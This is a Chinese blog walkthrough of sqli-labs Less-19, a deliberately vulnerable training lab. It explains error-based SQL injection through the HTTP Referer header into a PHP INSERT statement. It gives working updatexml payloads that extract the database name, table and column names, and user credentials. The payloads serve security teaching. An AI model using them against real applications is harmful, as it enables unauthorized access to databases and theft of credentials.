当前位置: 首页 > news >正文

sqli-labs:Less-19关卡详细解析

1. 思路🚀

本关的SQL语句为:

$insert="INSERT INTO `security`.`referers` (`referer`, `ip_address`) VALUES ('$uagent', '$IP')";
  • 注入类型:字符串型(单引号包裹)、INSERT操作
  • 提示:参数需以'闭合
  • 关键参数:uagent

php输出语句的部分代码:

if($row1)
{echo '<font color= "#FFFF00" font size = 3 >';$insert="INSERT INTO `security`.`referers` (`referer`, `ip_address`) VALUES ('$uagent', '$IP')";mysql_query($insert);//echo 'Your IP ADDRESS is: ' .$IP;echo "</font>";//echo "<br>";echo '<font color= "#0000ff" font size = 3 >';			echo 'Your Referer is: ' .$uagent;echo "</font>";echo "<br>";print_r(mysql_error());			echo "<br><br>";echo '<img src="../images/flag.jpg" />';echo "<br>";
}

关卡的回显语句是echo 'Your Referer is: ' .$uagent;,需通过正确的账号密码后才会回显Referer信息,这是由源码决定的,需要已知的账号和密码,暂且每次提交的账号密码都是admin,根据提示,insert配合报错盲注

在这里插入图片描述


2. 手工注入步骤🎯

使用Burpsuite的Repeater功能,接下来的操作,只需要将下面的Referer放入对应位置,粘贴即可。

2.1. 判断回显位⚡

正常提交账号:admin,密码:admin,抓取一下数据包,选中Repeater功能就行。
在这里插入图片描述
在这里插入图片描述


2.2. 获取基本信息⚡

接下来配合updatexml函数实现报错盲注

1' and updatexml(1,concat(1,(select database())),3) and'

在这里插入图片描述
在这里插入图片描述

2.3. 获取表名⚡

1' and updatexml(1,concat(1,(select group_concat(table_name) from information_schema.tables where table_schema = 'security')),3) and'

在这里插入图片描述

在这里插入图片描述


2.4. 获取字段⚡

1' and updatexml(1,concat(1,(select group_concat(column_name) from information_schema.columns where table_schema = 'security' and table_name = 'users')),3) and'

在这里插入图片描述

在这里插入图片描述


2.5. 获取数据⚡

下面是获取一个用户的sql语句,修改limit偏移量可获取其余用户的账号密码信息。

1' and updatexml(1,concat(1,(select concat(username, ':', password) from users limit 0,1)),3) and'

在这里插入图片描述
在这里插入图片描述


2.6. 参数汇总表⭐

参数作用示例
'闭合符号id=1'
updatexml()报错注入函数updatexml(1,(select database()),3)
concat()字符串拼接函数concat('a','b')concat(1,(select database()))
information_schema系统数据库from information_schema.tables
table_schema数据库名称table_schema='security'
table_name数据表名称table_name='users'
column_name字段名称group_concat(column_name)

3. 总结🏁

本关卡是在http请求中的Referer做文章,从而达到sql注入的效果,这在后面也是会经常遇到的,配合报错盲注获取数据。
关卡18的解析详细,文章为"sqli-labs:Less-18关卡详细解析"
https://blog.csdn.net/qq_62000508/article/details/149863254?spm=1011.2124.3001.6209
有关报错盲注的解析,关卡5最为详细,欢迎移步"sqli-labs:Less-5关卡详细解析"
https://blog.csdn.net/qq_62000508/article/details/149778521?spm=1011.2124.3001.6209


声明:本文仅用于安全学习,严禁非法测试! ❗❗❗

http://www.lryc.cn/news/607909.html

相关文章:

  • Qt 槽函数被执行多次,并且使用Qt::UniqueConnection无效【已解决】
  • 24黑马SpringCloud的Docker本地目录挂载出现相关问题解决
  • Tushare对接OpenBB分析A股与港股市场
  • 解锁智能油脂润滑系统:加速度与温振传感器选型协同攻略
  • 深度学习核心:卷积神经网络 - 原理、实现及在医学影像领域的应用
  • 【Java】在一个前台界面中动态展示多个数据表的字段及数据
  • 定制开发开源AI智能名片S2B2C商城小程序的特点、应用与发展研究
  • 自进化智能体综述:通往人工超级智能之路
  • SpringBoot IOC
  • C++之vector类的代码及其逻辑详解 (中)
  • 【自动化运维神器Ansible】YAML语法详解:Ansible Playbook的基石
  • vue引入阿里巴巴矢量图库的方式
  • Kotlin协程极简教程:5分钟学完关键知识点
  • docker desktop入门(docker桌面版)(提示wsl版本太低解决办法)
  • 【MySQL】增删改查操作 —— CRUD
  • Elasticsearch 混合检索一句 `retriever.rrf`,把语义召回与关键词召回融合到极致
  • MySqL(加餐)
  • 在 AKS 中运行 Azure DevOps 私有代理-1
  • Cursor 与 VS Code 与 GitHub Copilot 的全面比较
  • 字节Seed发布扩散语言模型,推理速度达2146 tokens/s,比同规模自回归快5.4倍
  • [spring6: 分布式追踪]-实战
  • AI赋能测试:技术变革与应用展望
  • 在ChinaJoy ,Soul发布“莫比乌斯·第三弹”ChinaJoy特别款
  • 深入 Go 底层原理(十二):map 的实现与哈希冲突
  • 高性能实时分析数据库:Apache Druid 查询数据 Query data
  • RK3399 启动流程 --从复位到系统加载
  • 变频器实习DAY20 测试经验总结
  • .NET 中,Process.Responding 属性用于检查进程的用户界面是否正在响应
  • 【嵌入式汇编基础】-ARM架构基础(三)
  • u-boot启动过程(NXP6ULL)